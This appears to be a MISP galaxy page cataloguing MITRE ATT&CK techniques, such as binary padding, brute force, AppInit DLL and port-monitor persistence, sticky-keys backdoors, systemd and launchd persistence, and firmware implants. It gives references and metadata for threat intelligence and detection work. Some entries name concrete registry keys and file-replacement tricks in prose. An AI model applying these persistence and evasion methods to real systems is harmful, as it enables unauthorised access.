Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.
Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)
Internal MISP references
UUID 519630c5-f03f-4882-825c-3af924935817 which can be used as unique global reference for Binary Padding - T1009 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1009 - webarchive
- https://capec.mitre.org/data/definitions/572.html - webarchive
- https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/ - webarchive
- https://www.virustotal.com/en/faq/ - webarchive
- https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1009 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Brute Force - T1110
Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access.
Internal MISP references
UUID a93494bb-4b80-4ea1-8695-3236a49916fd which can be used as unique global reference for Brute Force - T1110 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1110 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Azure-AD:credential-access', 'attack-Office-365:credential-access', 'attack-SaaS:credential-access', 'attack-IaaS:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Google-Workspace:credential-access', 'attack-Containers:credential-access', 'attack-Network:credential-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers', 'Network'] |
Query Registry - T1012
Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Internal MISP references
UUID c32f7008-9fea-41f7-8366-5eb9b74bd896 which can be used as unique global reference for Query Registry - T1012 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1012 |
| kill_chain | ['attack-Windows:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Windows'] |
Remote Services - T1021
Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.
In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.
Legitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)
Internal MISP references
UUID 54a649ff-439a-41a4-9856-8d144a2551ba which can be used as unique global reference for Remote Services - T1021 in MISP communities and other software using the MISP galaxy
External references
- http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html - webarchive
- https://attack.mitre.org/techniques/T1021 - webarchive
- https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf - webarchive
- https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins - webarchive
- https://support.apple.com/en-us/HT201710 - webarchive
- https://support.apple.com/en-us/HT209161 - webarchive
- https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx - webarchive
- https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html - webarchive
- https://www.ssh.com/ssh - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1021 |
| kill_chain | ['attack-Linux:lateral-movement', 'attack-macOS:lateral-movement', 'attack-Windows:lateral-movement', 'attack-IaaS:lateral-movement'] |
| mitre_data_sources | ['Command: Command Execution', 'Logon Session: Logon Session Creation', 'Module: Module Load', 'Network Share: Network Share Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation', 'WMI: WMI Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'IaaS'] |
Web Service - T1102
Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
Internal MISP references
UUID 830c9528-df21-472c-8c14-a036bf17d665 which can be used as unique global reference for Web Service - T1102 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1102 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
AppInit DLLs - T1103
Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)
Internal MISP references
UUID 317fefa6-46c7-4062-adb6-2008cf6bcb41 which can be used as unique global reference for AppInit DLLs - T1103 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1103 - webarchive
- https://msdn.microsoft.com/en-us/library/dn280412 - webarchive
- https://support.microsoft.com/en-us/kb/197571 - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1103 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Port Monitors - T1013
A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors.
The Registry key contains entries for the following:
- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port
Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.
Internal MISP references
UUID 1f47e2fd-fa77-4f2f-88ee-e85df308f125 which can be used as unique global reference for Port Monitors - T1013 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/dd183341 - webarchive
- https://attack.mitre.org/techniques/T1013 - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1013 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Accessibility Features - T1015
Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
Two common accessibility programs are C:\Windows\System32\sethc.exe, launched when the shift key is pressed five times and C:\Windows\System32\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)
Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:
For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)
Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)
- On-Screen Keyboard:
C:\Windows\System32\osk.exe - Magnifier:
C:\Windows\System32\Magnify.exe - Narrator:
C:\Windows\System32\Narrator.exe - Display Switcher:
C:\Windows\System32\DisplaySwitch.exe - App Switcher:
C:\Windows\System32\AtBroker.exe
Internal MISP references
UUID 9b99b83a-1aac-4e29-b975-b374950551a3 which can be used as unique global reference for Accessibility Features - T1015 in MISP communities and other software using the MISP galaxy
External references
- http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ - webarchive
- https://attack.mitre.org/techniques/T1015 - webarchive
- https://capec.mitre.org/data/definitions/558.html - webarchive
- https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html - webarchive
- https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1015 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Clipboard Modification - T1510
Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the ClipboardManager.OnPrimaryClipChangedListener interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)
Adversaries may use Clipboard Modification to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.
Clipboard Modification had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)
Internal MISP references
UUID e399430e-30b7-48c5-b70a-f44dc8c175cb which can be used as unique global reference for Clipboard Modification - T1510 in MISP communities and other software using the MISP galaxy
External references
- http://www.cis.syr.edu/~wedu/Research/paper/clipboard_attack_dimva2014.pdf - webarchive
- https://attack.mitre.org/techniques/T1510 - webarchive
- https://developer.android.com/about/versions/10/privacy/changes#clipboard-data - webarchive
- https://vms.drweb.com/virus/?i=17517750 - webarchive
- https://vms.drweb.com/virus/?i=17517761 - webarchive
- https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/ - webarchive
- https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1510 |
| kill_chain | ['mobile-attack-Android:impact'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Plist Modification - T1150
Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges).
Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)
Internal MISP references
UUID 06780952-177c-4247-b978-79c357fb311f which can be used as unique global reference for Plist Modification - T1150 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1150 |
| kill_chain | ['attack-macOS:defense-evasion', 'attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Systemd Service - T1501
Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands.
- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
- ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.
Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)
While adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)
Internal MISP references
UUID 0fff2797-19cb-41ea-a5f1-8a9303b8158e which can be used as unique global reference for Systemd Service - T1501 in MISP communities and other software using the MISP galaxy
External references
- http://man7.org/linux/man-pages/man1/systemd.1.html - webarchive
- https://attack.mitre.org/techniques/T1501 - webarchive
- https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a - webarchive
- https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html - webarchive
- https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang - webarchive
- https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ - webarchive
- https://www.freedesktop.org/wiki/Software/systemd/ - webarchive
- https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1501 |
| kill_chain | ['attack-Linux:persistence'] |
| mitre_platforms | ['Linux'] |
Related clusters
To see the related clusters, click here.
Shared Webroot - T1051
This technique has been deprecated and should no longer be used.
Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.
This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)
Internal MISP references
UUID 804c042c-cfe6-449e-bc1a-ba0a998a70db which can be used as unique global reference for Shared Webroot - T1051 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1051 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_platforms | ['Windows'] |
Native API - T1106
Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.
Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.
Internal MISP references
UUID 391d824f-0ef1-47a0-b0ee-c59a75e27670 which can be used as unique global reference for Native API - T1106 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/ms682425 - webarchive
- https://attack.mitre.org/techniques/T1106 - webarchive
- https://developer.apple.com/documentation/coreservices - webarchive
- https://developer.apple.com/documentation/foundation - webarchive
- https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1 - webarchive
- https://docs.microsoft.com/en-us/windows/win32/api/ - webarchive
- https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework - webarchive
- https://man7.org/linux/man-pages//man7/libc.7.html - webarchive
- https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ - webarchive
- https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls - webarchive
- https://undocumented.ntinternals.net/ - webarchive
- https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/ - webarchive
- https://www.gnu.org/software/libc/ - webarchive
- https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html - webarchive
- https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html - webarchive
- https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1106 |
| kill_chain | ['attack-Windows:execution', 'attack-macOS:execution', 'attack-Linux:execution'] |
| mitre_data_sources | ['Module: Module Load', 'Process: OS API Execution'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Deploy Container - T1610
Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to Escape to Host and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)
Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
Internal MISP references
UUID 56e0d8b8-3e25-49dd-9050-3aa252f5aa92 which can be used as unique global reference for Deploy Container - T1610 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1610 - webarchive
- https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 - webarchive
- https://blog.aquasec.com/malicious-container-image-docker-container-host - webarchive
- https://docs.docker.com/engine/api/v1.41/#tag/Container - webarchive
- https://kubernetes.io/docs/concepts/workloads/controllers/ - webarchive
- https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/ - webarchive
- https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1610 |
| kill_chain | ['attack-Containers:defense-evasion', 'attack-Containers:execution'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Container: Container Creation', 'Container: Container Start', 'Pod: Pod Creation', 'Pod: Pod Modification'] |
| mitre_platforms | ['Containers'] |
Launch Daemon - T1160
Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).
Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.
The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.
Internal MISP references
UUID e99ec083-abdd-48de-ad87-4dbf6f8ba2a4 which can be used as unique global reference for Launch Daemon - T1160 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1160 - webarchive
- https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - webarchive
- https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - webarchive
- https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1160 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
File Deletion - T1107
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
Internal MISP references
UUID 56fca983-1cf1-4fd1-bda0-5e170a37ab59 which can be used as unique global reference for File Deletion - T1107 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1107 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Redundant Access - T1108
This technique has been deprecated. Please use Create Account, Web Shell, and External Remote Services where appropriate.
Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.
If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.
Use of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.
Internal MISP references
UUID 6aabc5ec-eae6-422c-8311-38d45ee9838a which can be used as unique global reference for Redundant Access - T1108 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1108 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-SaaS:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:persistence', 'attack-Azure-AD:persistence', 'attack-Office-365:persistence', 'attack-SaaS:persistence', 'attack-IaaS:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS'] |
Component Firmware - T1109
Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
Internal MISP references
UUID 10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44 which can be used as unique global reference for Component Firmware - T1109 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1109 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
System Firmware - T1019
The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)
System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
Internal MISP references
UUID 6856ddd6-2df3-4379-8b87-284603c189c3 which can be used as unique global reference for System Firmware - T1019 in MISP communities and other software using the MISP galaxy
External references
- http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html - webarchive
- http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about - webarchive
- http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research - webarchive
- http://www.uefi.org/about - webarchive
- https://attack.mitre.org/techniques/T1019 - webarchive
- https://capec.mitre.org/data/definitions/532.html - webarchive
